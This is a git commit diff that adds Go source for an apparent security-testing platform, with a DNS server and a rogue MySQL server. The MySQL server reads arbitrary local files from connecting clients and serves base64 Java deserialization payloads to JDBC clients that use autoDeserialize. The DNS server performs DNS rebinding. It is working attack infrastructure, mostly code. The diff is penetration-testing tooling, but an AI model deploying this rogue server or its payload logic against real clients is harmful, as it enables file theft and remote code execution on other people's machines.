feat: complete basic functions

Support http,dns and mysql connection. Support custom http, dns response. Support dns rebinding.
Support mysql load local files and jdbc deserialize exploit.
This commit is contained in:
Li4n0
2021-04-21 18:55:16 +08:00
parent e9db8ddb24
commit 3559894acc
114 changed files with 41617 additions and 0 deletions
+5
View File
@@ -0,0 +1,5 @@
package dns
type Config struct {
Enable bool
}
+175
View File
@@ -0,0 +1,175 @@
package dns
import (
"strings"
"sync"
"time"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/newdns"
"github.com/li4n0/revsuit/internal/qqwry"
"github.com/patrickmn/go-cache"
log "unknwon.dev/clog/v2"
)
type Server struct {
rules []*Rule
rulesLock sync.RWMutex
}
var (
server *Server
once sync.Once
rebindingCache = cache.New(5*time.Second, 10*time.Second)
)
func GetServer() *Server {
once.Do(func() {
server = &Server{rulesLock: sync.RWMutex{}}
})
return server
}
func (s *Server) getRules() []*Rule {
defer s.rulesLock.RUnlock()
s.rulesLock.RLock()
return s.rules
}
func (s *Server) updateRules() error {
db := database.DB.Model(new(Rule))
s.rulesLock.Lock()
db.Order("rank desc").Find(&s.rules)
s.rulesLock.Unlock()
return nil
}
func (s *Server) Run() {
if err := s.updateRules(); err != nil {
log.Fatal(err.Error())
}
//create new dns zone with root domain
newZone := func(name string) *newdns.Zone {
domain := strings.TrimSuffix(name, ".")
frags := strings.Split(domain, ".")
zoneName := ""
if len(frags) >= 2 {
zoneName = strings.Join(frags[len(frags)-2:], ".") + "."
} else {
zoneName = name
}
return &newdns.Zone{
Name: zoneName,
MasterNameServer: "ns1.hostmaster.com.",
AllNameServers: []string{
"ns1.hostmaster.com.",
"ns2.hostmaster.com.",
"ns3.hostmaster.com.",
},
Handler: func(lookedName, remoteAddr string) ([]newdns.Set, error) {
ip := strings.Split(remoteAddr, ":")[0]
for _, _rule := range s.getRules() {
flag, flagGroup := _rule.Match(domain)
if flag == "" {
continue
}
r, err := newRecord(_rule, flag, domain, ip, qqwry.Area(ip))
if err != nil {
log.Error("DNS record(rule_id:%s) created failed :%s", _rule.Name, err.Error())
return nil, nil
}
log.Trace("DNS record(id:%d) has been created", r.ID)
//only send to client when this connection recorded first time.
if _rule.PushToClient {
if flagGroup != "" {
var count int64
database.DB.Where("rule_name=? and domain like ?", _rule.Name, "%"+flagGroup+"%").Model(&Record{}).Count(&count)
if count <= 1 {
r.PushToClient()
log.Trace("DNS record(id:%d) has been put to client message queue", r.ID)
}
} else {
r.PushToClient()
log.Trace("DNS record(id:%d) has been put to client message queue", r.ID)
}
}
//send notice
if _rule.Notice {
go func() {
r.Notice()
log.Trace("DNS record(id:%d) notice has been sent", r.ID)
}()
}
if _rule.Value != "" {
_type := _rule.Type
if _rule.Type == newdns.REBINDING {
_type = newdns.A
}
return []newdns.Set{
{
Name: name,
Type: _type,
Records: func() []newdns.Record {
switch _rule.Type {
case newdns.TXT:
return []newdns.Record{{Data: []string{_rule.Value}}}
case newdns.CNAME, newdns.NS:
return []newdns.Record{{Address: _rule.Value + "."}}
case newdns.REBINDING:
// Get rebinding ip list
values, ok := rebindingCache.Get(ip)
if !ok {
rebindingCache.Set(ip, strings.Split(_rule.Value, ","), cache.DefaultExpiration)
values = strings.Split(_rule.Value, ",")
}
//Choose and delete first ip
value := values.([]string)[0]
if len(values.([]string)) > 1 {
rebindingCache.Set(ip, values.([]string)[1:len(values.([]string))], cache.DefaultExpiration)
} else {
rebindingCache.Delete(ip)
}
log.Trace("DNS rebinding client(ip:%v) to %v", ip, value)
return []newdns.Record{{Address: value}}
default:
return []newdns.Record{{Address: _rule.Value}}
}
}(),
TTL: _rule.TTL * time.Second,
},
}, nil
}
}
return nil, nil
},
}
}
// create server
server := newdns.NewServer(newdns.Config{
Handler: func(name string) (*newdns.Zone, error) {
return newZone(name), nil
},
})
// run server
log.Info("Starting DNS Server at :53")
err := server.Run(":53")
if err != nil {
log.Fatal(err.Error())
}
}
+97
View File
@@ -0,0 +1,97 @@
package dns
import (
"strconv"
"time"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/notice"
"github.com/li4n0/revsuit/internal/record"
)
var _ record.Record = (*Record)(nil)
type Record struct {
Domain string `gorm:"index" form:"domain" json:"domain"`
record.BaseRecord
Rule Rule `gorm:"foreignKey:RuleName;references:Name;constraint:OnUpdate:CASCADE,OnDelete:SET NULL;" form:"-" json:"-" notice:"-"`
}
func (Record) TableName() string {
return "dns_records"
}
func (r Record) Notice() {
notice.Notice(r)
}
func newRecord(rule *Rule, flag, domain, remoteIp, ipArea string) (r *Record, err error) {
r = &Record{
BaseRecord: record.BaseRecord{
Flag: flag,
RemoteIP: remoteIp,
IpArea: ipArea,
RequestTime: time.Now(),
},
Domain: domain,
Rule: *rule,
}
err = database.DB.Create(r).Error
return
}
func List(c *gin.Context) {
var (
dnsRecord Record
res []Record
count int64
order = c.Query("order")
)
if err := c.ShouldBind(&dnsRecord); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err,
"result": nil,
})
}
db := database.DB.Model(&dnsRecord)
if dnsRecord.Flag != "" {
db.Where("flag = ?", dnsRecord.Flag)
}
if dnsRecord.Domain != "" {
db.Where("domain like ?", "%"+dnsRecord.Domain+"%")
}
if dnsRecord.RemoteIP != "" {
db.Where("remote_ip = ?", dnsRecord.RemoteIP)
}
if dnsRecord.RuleName != "" {
db.Where("rule_name = ?", dnsRecord.RuleName)
}
page, err := strconv.Atoi(c.Query("page"))
if err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
if err := db.Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": gin.H{"count": count, "data": res},
})
}
+198
View File
@@ -0,0 +1,198 @@
package dns
import (
"strconv"
"time"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/newdns"
"github.com/li4n0/revsuit/internal/rule"
"gorm.io/gorm/clause"
log "unknwon.dev/clog/v2"
)
type Rule struct {
rule.BaseRule
Type newdns.Type `gorm:"default:1" form:"type" json:"type"`
Value string `form:"value" json:"value"`
TTL time.Duration `gorm:"ttl;default:10" form:"ttl" json:"ttl"`
}
func (Rule) TableName() string {
return "dns_rules"
}
// New dns rule struct
func NewRule(name, flagFormat, value string, pushToClient, notice bool, _type newdns.Type, ttl time.Duration) *Rule {
return &Rule{
BaseRule: rule.BaseRule{
Name: name,
FlagFormat: flagFormat,
PushToClient: pushToClient,
Notice: notice,
},
Type: _type,
Value: value,
TTL: ttl,
}
}
// Create or update the dns rule in database and ruleSet
func (r *Rule) CreateOrUpdate() (err error) {
db := database.DB.Model(r)
err = db.Clauses(clause.OnConflict{
Columns: []clause.Column{{Name: "id"}},
DoUpdates: clause.AssignmentColumns(
[]string{
"name",
"flag_format",
"rank",
"type",
"value",
"ttl",
"push_to_client",
"notice",
}),
}).Create(r).Error
if err != nil {
return
}
err = GetServer().updateRules()
return
}
// Delete the dns rule in database and ruleSet
func (r *Rule) Delete() (err error) {
db := database.DB.Model(r)
err = db.Delete(r).Error
if err != nil {
return
}
err = GetServer().updateRules()
return
}
// List all dns rules those satisfy the filter
func ListRules(c *gin.Context) {
var (
dnsRule Rule
res []Rule
count int64
order = c.Query("order")
)
if err := c.ShouldBind(&dnsRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
db := database.DB.Model(&dnsRule)
if dnsRule.Name != "" {
db.Where("name = ?", dnsRule.Name)
}
db.Count(&count)
page, err := strconv.Atoi(c.Query("page"))
if err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
if err := db.Order("rank desc").Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": gin.H{"count": count, "data": res},
})
}
// Create or update dns rule from user submit
func UpsertRules(c *gin.Context) {
var (
dnsRule Rule
update bool
)
if err := c.ShouldBind(&dnsRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if dnsRule.ID != 0 {
update = true
}
if err := dnsRule.CreateOrUpdate(); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if update {
log.Trace("DNS rule(id:%d) has been updated", dnsRule.ID)
} else {
log.Trace("DNS rule(id:%d) has been created", dnsRule.ID)
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": nil,
})
}
// Delete dns rule from user submit
func DeleteRules(c *gin.Context) {
var dnsRule Rule
if err := c.ShouldBind(&dnsRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if err := dnsRule.Delete(); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
log.Trace("DNS rule(id:%d) has been deleted", dnsRule.ID)
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"data": nil,
})
return
}
+7
View File
@@ -0,0 +1,7 @@
package mysql
type Config struct {
Enable bool
Addr string
VersionString string `yaml:"version_string"`
}
+62
View File
@@ -0,0 +1,62 @@
package mysql
import (
"fmt"
"strings"
"github.com/gabriel-vasile/mimetype"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
)
const FILE_SPEARATOR = ";"
type File struct {
ID uint `gorm:"primarykey" form:"id" json:"id"`
RecordID uint `gorm:"constraint:OnUpdate:CASCADE,OnDelete:CASCADE;" json:"-"`
Name string `json:"name"`
Content []byte `json:"-"`
}
//func (File) TableName() string {
// return "mysql_files"
//}
func GetFile(c *gin.Context) {
var (
file File
mysqlRecord Record
)
id := c.Param("id")
if id == "" {
c.JSON(400, gin.H{
"status": "failed",
"error": fmt.Errorf("param id missed").Error(),
"result": nil,
})
return
}
database.DB.Model(&file).Where("id = ?", id).Find(&file)
database.DB.Model(&mysqlRecord).Where("id = ?", file.RecordID).Find(&mysqlRecord)
if file.Content == nil || len(file.Content) == 0 {
c.JSON(400, gin.H{
"status": "failed",
"error": fmt.Errorf("file not found").Error(),
"result": nil,
})
return
} else {
mime := mimetype.Detect(file.Content)
c.Header("Content-Type", mime.String())
c.Header("Content-Disposition",
fmt.Sprintf(
"filename=%s_%s_%d",
strings.Replace(mysqlRecord.RemoteIP, ".", "_", -1),
file.Name,
file.ID,
),
)
c.String(200, string(file.Content))
}
}
+278
View File
@@ -0,0 +1,278 @@
package mysql
import (
"encoding/base64"
"fmt"
"os"
"regexp"
"strings"
"sync"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/qqwry"
"github.com/li4n0/revsuit/pkg/mysql/vmysql"
log "unknwon.dev/clog/v2"
"vitess.io/vitess/go/sqltypes"
)
var (
server *Server
once sync.Once
mysqlConnectorFlag = regexp.MustCompile(`mysql-connector-java(-\d+\.\d+\.\d+)?`)
)
type Server struct {
Config
rules []*Rule
rulesLock sync.RWMutex
listener *vmysql.Listener
Handler vmysql.Handler
connRulePool sync.Map
}
func GetServer() *Server {
once.Do(func() {
server = &Server{rulesLock: sync.RWMutex{}}
})
return server
}
func (s *Server) getRules() []*Rule {
defer s.rulesLock.RUnlock()
s.rulesLock.RLock()
return s.rules
}
func (s *Server) updateRules() error {
db := database.DB.Model(new(Rule))
s.rulesLock.Lock()
db.Order("rank desc").Find(&s.rules)
s.rulesLock.Unlock()
return nil
}
// NewConnection is part of the mysql.Handler interface.
func (s *Server) NewConnection(c *vmysql.Conn) {
log.Trace("New MySQL client from addr [%s] logged in with username [%s], ID [%d]", c.RemoteAddr(), c.User, c.ConnectionID)
c.RecycleReadPacket()
var (
user = c.User
schema = c.SchemaName
validated bool
)
for _, _rule := range s.getRules() {
flag, _ := _rule.Match(user + schema)
if flag == "" {
continue
}
s.connRulePool.Store(c.ConnectionID, _rule)
validated = true
break
}
if !validated {
c.WriteErrorResponse(vmysql.NewSQLError(vmysql.ERAccessDeniedError, vmysql.SSAccessDeniedError, "Access denied for user '%v'", c.User).Error())
return
}
if c.ConnAttrs != nil {
if strings.Contains(c.ConnAttrs["_client_name"], "MySQL Connector") {
c.IsJdbcClient = true
c.SupportLoadDataLocal = true
// 测试发现只有 pymysql 和原生命令行会对这个 flag 真正进行修改
// 而且 Connector/J 默认值为 False, 所以这里做特殊兼容
}
}
}
// ConnectionClosed is part of the mysql.Handler interface.
func (s *Server) ConnectionClosed(c *vmysql.Conn) {
log.Trace("MySQL Client leaved, ID [%d]", c.ConnectionID)
var (
user = c.User
clientName string
clientOS string
supportLoadLocalData = c.SupportLoadDataLocal
cr, ok = s.connRulePool.Load(c.ConnectionID)
)
if !ok {
return
}
_rule := cr.(*Rule)
flag, flagGroup := _rule.Match(user)
if flag == "" {
log.Error("MySQL Connection rule(%d) not match flag", c.ConnectionID)
}
if c.ConnAttrs != nil {
clientName = c.ConnAttrs["_client_name"] + " " + c.ConnAttrs["_client_version"]
clientOS = c.ConnAttrs["_os"] + " " + c.ConnAttrs["_platform"]
}
ip := strings.Split(c.RemoteAddr().String(), ":")[0]
filenames := strings.Split(_rule.Files, FILE_SPEARATOR)
files := make([]File, 0)
for _, filename := range filenames {
if len(c.Files[filename]) != 0 {
files = append(files, File{Name: filename, Content: c.Files[filename]})
}
}
r, err := newRecord(_rule, flag, user, clientName, clientOS, ip, qqwry.Area(ip), supportLoadLocalData, files)
if err != nil {
log.Error("MySQL record(rule_id:%s) created failed :%s", _rule.Name, err.Error())
return
}
log.Trace("MySQL record(id:%d) has been created", r.ID)
//only send to client when this connection recorded first time.
if _rule.PushToClient {
if flagGroup != "" {
var count int64
database.DB.Where("rule_name=? and domain like ?", _rule.Name, "%"+flagGroup+"%").Model(&Record{}).Count(&count)
if count <= 1 {
r.PushToClient()
log.Trace("MySQL record(id:%d) has been put to client message queue", r.ID)
}
} else {
r.PushToClient()
log.Trace("MySQL record(id:%d) has been put to client message queue", r.ID)
}
}
//send notice
if _rule.Notice {
go func() {
r.Notice()
log.Trace("MySQL record(id:%d) notice has been sent", r.ID)
}()
}
s.connRulePool.Delete(c.ConnectionID)
}
// ComQuery is part of the mysql.Handler interface.
func (s *Server) ComQuery(c *vmysql.Conn, query string, callback func(*sqltypes.Result) error) error {
log.Trace("MySQL Client from addr, ID [%d] try to query [%s]", c.ConnectionID, query)
// match mysql-connector-java
if strings.Contains(query, "mysql-connector-java") && (c.ConnAttrs == nil || c.ConnAttrs["_client_name"] == "") {
c.ConnAttrs = map[string]string{"_client_name": mysqlConnectorFlag.FindString(query)}
}
cr, ok := s.connRulePool.Load(c.ConnectionID)
if !ok {
c.WriteErrorResponse(
fmt.Sprintf(
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
strings.ReplaceAll(
strings.ReplaceAll(query, "%", "%%"),
"'", "\\'"),
),
)
return nil
}
_rule := cr.(*Rule)
if _rule.ExploitJdbcClient && _rule.Payloads != nil && c.IsJdbcClient {
if query == "SHOW SESSION STATUS" {
var payload []byte
log.Trace("MySQL Client [%d] request `%s`, start exploiting...", c.ConnectionID, query)
r := &sqltypes.Result{Fields: vmysql.SchemaToFields(vmysql.Schema{
{Name: "Variable_name", Type: sqltypes.Blob, Nullable: false},
{Name: "Value", Type: sqltypes.Blob, Nullable: false},
})}
//choose payload
//jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:cc7&autoDeserialize=true
if c.ConnAttrs["t"] != "" && _rule.Payloads[c.ConnAttrs["t"]] != "" {
payload, _ = base64.StdEncoding.DecodeString(_rule.Payloads[c.ConnAttrs["t"]])
} else {
for _, v := range _rule.Payloads {
payload, _ = base64.StdEncoding.DecodeString(v)
break
}
}
r.Rows = append(r.Rows, vmysql.RowToSQL(vmysql.SQLRow{[]byte{}, payload}))
_ = callback(r)
} else {
r := vmysql.GetMysqlVars()
_ = callback(r)
}
return nil
}
// mysql LOAD DATA LOCAL
if !c.SupportLoadDataLocal { // 客户端不支持读取本地文件且没有开启总是读取,直接返回错误
log.Trace("MySQL Client not support LOAD DATA LOCAL, return error directly")
c.WriteErrorResponse(
fmt.Sprintf(
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
strings.ReplaceAll(
strings.ReplaceAll(query, "%", "%%"),
"'", "\\'"),
),
)
return nil
}
files := strings.Split(_rule.Files, ";")
if c.Files == nil {
c.Files = make(map[string][]byte)
}
for _, filename := range files {
if c.Files[filename] == nil {
log.Trace("MySQL now try to read file [%s], ID [%d]", filename, c.ConnectionID)
data := c.RequestFile(filename)
if data == nil || len(data) == 0 {
log.Trace("MySQL file [%s] read failed, file may not exist in client [%d]", filename, c.ConnectionID)
c.Files[filename] = []byte{}
} else {
c.Files[filename] = data
}
c.WriteErrorResponse(fmt.Sprintf(
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
strings.ReplaceAll(
strings.ReplaceAll(query, "%", "%%"),
"'", "\\'"),
))
}
}
c.WriteErrorResponse(fmt.Sprintf(
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
strings.ReplaceAll(
strings.ReplaceAll(query, "%", "%%"),
"'", "\\'"),
))
return nil
}
// WarningCount is part of the mysql.Handler interface.
func (s *Server) WarningCount(c *vmysql.Conn) uint16 {
return 0
}
func (s *Server) Run() {
if err := s.updateRules(); err != nil {
log.Fatal(err.Error())
}
s.Handler = s
var authServer = &vmysql.AuthServerNone{}
var err error
log.Info("Starting Mysql Server at %s", s.Addr)
s.listener, err = vmysql.NewListener("tcp", s.Addr, authServer, s, s.VersionString, 0, 0)
if err != nil {
log.Error("New Mysql Server failed: %s", err)
os.Exit(-1)
}
s.listener.Accept()
}
+17
View File
@@ -0,0 +1,17 @@
package mysql
import (
"database/sql"
"fmt"
"testing"
_ "github.com/go-sql-driver/mysql"
)
func TestServer_NewConnection(t *testing.T) {
db, err := sql.Open("mysql", "root:root@tcp(127.0.0.1)/dbname?allowAllFiles=true")
if err != nil {
fmt.Println(err)
}
db.Exec("SELECT 1;")
}
+108
View File
@@ -0,0 +1,108 @@
package mysql
import (
"strconv"
"time"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/notice"
"github.com/li4n0/revsuit/internal/record"
)
var _ record.Record = (*Record)(nil)
type Record struct {
record.BaseRecord
Username string `gorm:"index",form:"username" json:"username" notice:"username"`
ClientName string `gorm:"index",form:"client_name" json:"client_name" notice:"client_name"`
ClientOS string `gorm:"index",form:"client_os" json:"client_os" notice:"client_os"`
LoadLocalData bool `gorm:"index",form:"load_local_data" json:"load_local_data" notice:"load_local_data"`
//FileID uint `form:"file_id" json:"file_id" notice:"file_id"`
Files []File `form:"-" json:"files" notice:"-"`
Rule Rule `gorm:"foreignKey:RuleName;references:Name;constraint:OnUpdate:CASCADE,OnDelete:SET NULL;" form:"-" json:"-" notice:"-"`
}
func (Record) TableName() string {
return "mysql_records"
}
func (r Record) Notice() {
notice.Notice(r)
}
func newRecord(rule *Rule, flag, username, clientName, clientOS, remoteIp, ipArea string, supportLoadLocalData bool, files []File) (r *Record, err error) {
r = &Record{
BaseRecord: record.BaseRecord{
Flag: flag,
RemoteIP: remoteIp,
IpArea: ipArea,
RequestTime: time.Now(),
},
Username: username,
ClientName: clientName,
ClientOS: clientOS,
LoadLocalData: supportLoadLocalData,
Files: files,
Rule: *rule,
}
err = database.DB.Create(r).Error
return
}
func List(c *gin.Context) {
var (
mysqlRecord Record
res []Record
count int64
order = c.Query("order")
)
if err := c.ShouldBind(&mysqlRecord); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err,
"result": nil,
})
}
db := database.DB.Model(&mysqlRecord)
if mysqlRecord.Flag != "" {
db.Where("flag = ?", mysqlRecord.Flag)
}
if mysqlRecord.RemoteIP != "" {
db.Where("remote_ip = ?", mysqlRecord.RemoteIP)
}
if mysqlRecord.RuleName != "" {
db.Where("rule_name = ?", mysqlRecord.RuleName)
}
if mysqlRecord.ClientOS != "" {
db.Where("client_os like ?", "%"+mysqlRecord.ClientOS)
}
if mysqlRecord.ClientName != "" {
db.Where("client_name like ?", "%"+mysqlRecord.ClientName)
}
page, err := strconv.Atoi(c.Query("page"))
if err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
if err := db.Preload("Files").Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": gin.H{"count": count, "data": res},
})
}
+180
View File
@@ -0,0 +1,180 @@
package mysql
import (
"strconv"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/rule"
"gorm.io/gorm/clause"
log "unknwon.dev/clog/v2"
)
type Rule struct {
rule.BaseRule
Files string `form:"files" json:"files"`
ExploitJdbcClient bool `gorm:"exploit_jdbc_client" form:"exploit_jdbc_client" json:"exploit_jdbc_client"`
Payloads database.MapField `json:"payloads" json:"payloads"`
}
func (Rule) TableName() string {
return "mysql_rules"
}
// Create or update the mysql rule in database and ruleSet
func (r *Rule) CreateOrUpdate() (err error) {
db := database.DB.Model(r)
err = db.Clauses(clause.OnConflict{
Columns: []clause.Column{{Name: "id"}},
DoUpdates: clause.AssignmentColumns(
[]string{
"name",
"flag_format",
"rank",
"files",
"exploit_jdbc_client",
"payloads",
"push_to_client",
"notice",
}),
}).Create(r).Error
if err != nil {
return
}
err = GetServer().updateRules()
return
}
// Delete the mysql rule in database and ruleSet
func (r *Rule) Delete() (err error) {
db := database.DB.Model(r)
err = db.Delete(r).Error
if err != nil {
return
}
err = GetServer().updateRules()
return
}
// List all mysql rules those satisfy the filter
func ListRules(c *gin.Context) {
var (
mysqlRule Rule
res []Rule
count int64
order = c.Query("order")
)
if err := c.ShouldBind(&mysqlRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
db := database.DB.Model(&mysqlRule)
if mysqlRule.Name != "" {
db.Where("name = ?", mysqlRule.Name)
}
db.Count(&count)
page, err := strconv.Atoi(c.Query("page"))
if err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
if err := db.Order("rank desc").Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": gin.H{"count": count, "data": res},
})
}
// Create or update mysql rule from user submit
func UpsertRules(c *gin.Context) {
var (
mysqlRule Rule
update bool
)
if err := c.ShouldBind(&mysqlRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if mysqlRule.ID != 0 {
update = true
}
if err := mysqlRule.CreateOrUpdate(); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if update {
log.Trace("MySQL rule(id:%d) has been updated", mysqlRule.ID)
} else {
log.Trace("MySQL rule(id:%d) has been created", mysqlRule.ID)
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": nil,
})
}
// Delete mysql rule from user submit
func DeleteRules(c *gin.Context) {
var mysqlRule Rule
if err := c.ShouldBind(&mysqlRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if err := mysqlRule.Delete(); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
log.Trace("MySQL rule(id:%d) has been deleted", mysqlRule.ID)
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"data": nil,
})
return
}
+239
View File
@@ -0,0 +1,239 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreedto in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
import (
"bytes"
"crypto/rand"
"crypto/sha1"
"encoding/hex"
"net"
"strings"
log "unknwon.dev/clog/v2"
"vitess.io/vitess/go/vt/proto/vtrpc"
"vitess.io/vitess/go/vt/vterrors"
)
// AuthServer is the interface that servers must implement to validate
// users and passwords. It has two modes:
//
// 1. using salt the way MySQL native auth does it. In that case, the
// password is not sent in the clear, but the salt is used to hash the
// password both on the client and server side, and the result is sent
// and compared.
//
// 2. sending the user / password in the clear (using MySQL Cleartext
// method). The server then gets access to both user and password, and
// can authenticate using any method. If SSL is not used, it means the
// password is sent in the clear. That may not be suitable for some
// use cases.
type AuthServer interface {
// AuthMethod returns the authentication method to use for the
// given user. If this returns MysqlNativePassword
// (mysql_native_password), then ValidateHash() will be
// called, and no further roundtrip with the client is
// expected. If anything else is returned, Negotiate()
// will be called on the connection, and the AuthServer
// needs to handle the packets.
AuthMethod(user string) (string, error)
// Salt returns the salt to use for a connection.
// It should be 20 bytes of data.
// Most implementations should just use mysql.NewSalt().
// (this is meant to support a plugin that would use an
// existing MySQL server as the source of auth, and just forward
// the salt generated by that server).
// Do not return zero bytes, as a known salt can be the source
// of a crypto attack.
Salt() ([]byte, error)
// ValidateHash validates the data sent by the client matches
// what the server computes. It also returns the user data.
ValidateHash(salt []byte, user string, authResponse []byte, remoteAddr net.Addr) (Getter, error)
// Negotiate is called if AuthMethod returns anything else
// than MysqlNativePassword. It is handed the connection after the
// AuthSwitchRequest packet is sent.
// - If the negotiation fails, it should just return an error
// (should be a SQLError if possible).
// The framework is responsible for writing the Error packet
// and closing the connection in that case.
// - If the negotiation works, it should return the Getter,
// and no error. The framework is responsible for writing the
// OK packet.
Negotiate(c *Conn, user string, remoteAddr net.Addr) (Getter, error)
}
// authServers is a registry of AuthServer implementations.
var authServers = make(map[string]AuthServer)
// RegisterAuthServerImpl registers an implementations of AuthServer.
func RegisterAuthServerImpl(name string, authServer AuthServer) {
if _, ok := authServers[name]; ok {
log.Error("AuthServer named %v already exists", name)
}
authServers[name] = authServer
}
// NewSalt returns a 20 character salt.
func NewSalt() ([]byte, error) {
salt := make([]byte, 20)
if _, err := rand.Read(salt); err != nil {
return nil, err
}
// Salt must be a legal UTF8 string.
for i := 0; i < len(salt); i++ {
salt[i] &= 0x7f
if salt[i] == '\x00' || salt[i] == '$' {
salt[i]++
}
}
return salt, nil
}
// ScramblePassword computes the hash of the password using 4.1+ method.
func ScramblePassword(salt, password []byte) []byte {
if len(password) == 0 {
return nil
}
// stage1Hash = SHA1(password)
crypt := sha1.New()
crypt.Write(password)
stage1 := crypt.Sum(nil)
// scrambleHash = SHA1(salt + SHA1(stage1Hash))
// inner Hash
crypt.Reset()
crypt.Write(stage1)
hash := crypt.Sum(nil)
// outer Hash
crypt.Reset()
crypt.Write(salt)
crypt.Write(hash)
scramble := crypt.Sum(nil)
// token = scrambleHash XOR stage1Hash
for i := range scramble {
scramble[i] ^= stage1[i]
}
return scramble
}
func isPassScrambleMysqlNativePassword(reply, salt []byte, mysqlNativePassword string) bool {
/*
SERVER: recv(reply)
hash_stage1=xor(reply, sha1(salt,hash))
candidate_hash2=sha1(hash_stage1)
check(candidate_hash2==hash)
*/
if len(reply) == 0 {
return false
}
if mysqlNativePassword == "" {
return false
}
if strings.Contains(mysqlNativePassword, "*") {
mysqlNativePassword = mysqlNativePassword[1:]
}
hash, err := hex.DecodeString(mysqlNativePassword)
if err != nil {
return false
}
// scramble = SHA1(salt+hash)
crypt := sha1.New()
crypt.Write(salt)
crypt.Write(hash)
scramble := crypt.Sum(nil)
// token = scramble XOR stage1Hash
for i := range scramble {
scramble[i] ^= reply[i]
}
hashStage1 := scramble
crypt.Reset()
crypt.Write(hashStage1)
candidateHash2 := crypt.Sum(nil)
return bytes.Equal(candidateHash2, hash)
}
// Constants for the dialog plugin.
const (
mysqlDialogMessage = "Enter password: "
// Dialog plugin is similar to clear text, but can respond to multiple
// prompts in a row. This is not yet implemented.
// Follow questions should be prepended with a `cmd` byte:
// 0x02 - ordinary question
// 0x03 - last question
// 0x04 - password question
// 0x05 - last password
mysqlDialogAskPassword = 0x04
)
// authServerDialogSwitchData is a helper method to return the data
// needed in the AuthSwitchRequest packet for the dialog plugin
// to ask for a password.
func authServerDialogSwitchData() []byte {
result := make([]byte, len(mysqlDialogMessage)+2)
result[0] = mysqlDialogAskPassword
writeNullString(result, 1, mysqlDialogMessage)
return result
}
// AuthServerReadPacketString is a helper method to read a packet
// as a null terminated string. It is used by the mysql_clear_password
// and dialog plugins.
func AuthServerReadPacketString(c *Conn) (string, error) {
// Read a packet, the password is the payload, as a
// zero terminated string.
data, err := c.ReadPacket()
if err != nil {
return "", err
}
if len(data) == 0 || data[len(data)-1] != 0 {
return "", vterrors.Errorf(vtrpc.Code_INTERNAL, "received invalid response packet, datalen=%v", len(data))
}
return string(data[:len(data)-1]), nil
}
// AuthServerNegotiateClearOrDialog will finish a negotiation based on
// the method type for the connection. Only supports
